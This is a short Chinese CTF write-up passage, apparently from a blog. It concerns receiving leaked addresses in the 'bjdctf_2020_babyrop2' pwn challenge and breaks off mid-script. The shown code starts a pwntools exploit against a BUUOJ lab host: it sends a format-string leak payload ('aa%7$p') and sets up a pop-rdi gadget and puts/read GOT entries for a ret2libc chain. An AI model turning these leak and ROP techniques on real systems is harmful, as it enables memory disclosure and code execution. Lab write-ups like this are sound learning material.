从“bjdctf_2020_babyrop2”中看泄露的地址的接收问题

真是的，最近做题发现这个泄露函数地址的时候，这个接收搞得有点难受，在此特地研究一下，有不对的地方，请各位大神门评论区指正！

from pwn import*
context.log_level='debug'
p=remote('node4.buuoj.cn',26985)
elf=ELF('./barop')
p_rdi=0x400993
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
read_got=elf.got['read']
lbic=ELF('./libc-2.23.so')
p.recvuntil("u!")
p.sendline("aa%7$p")
p.recvuntil("0x"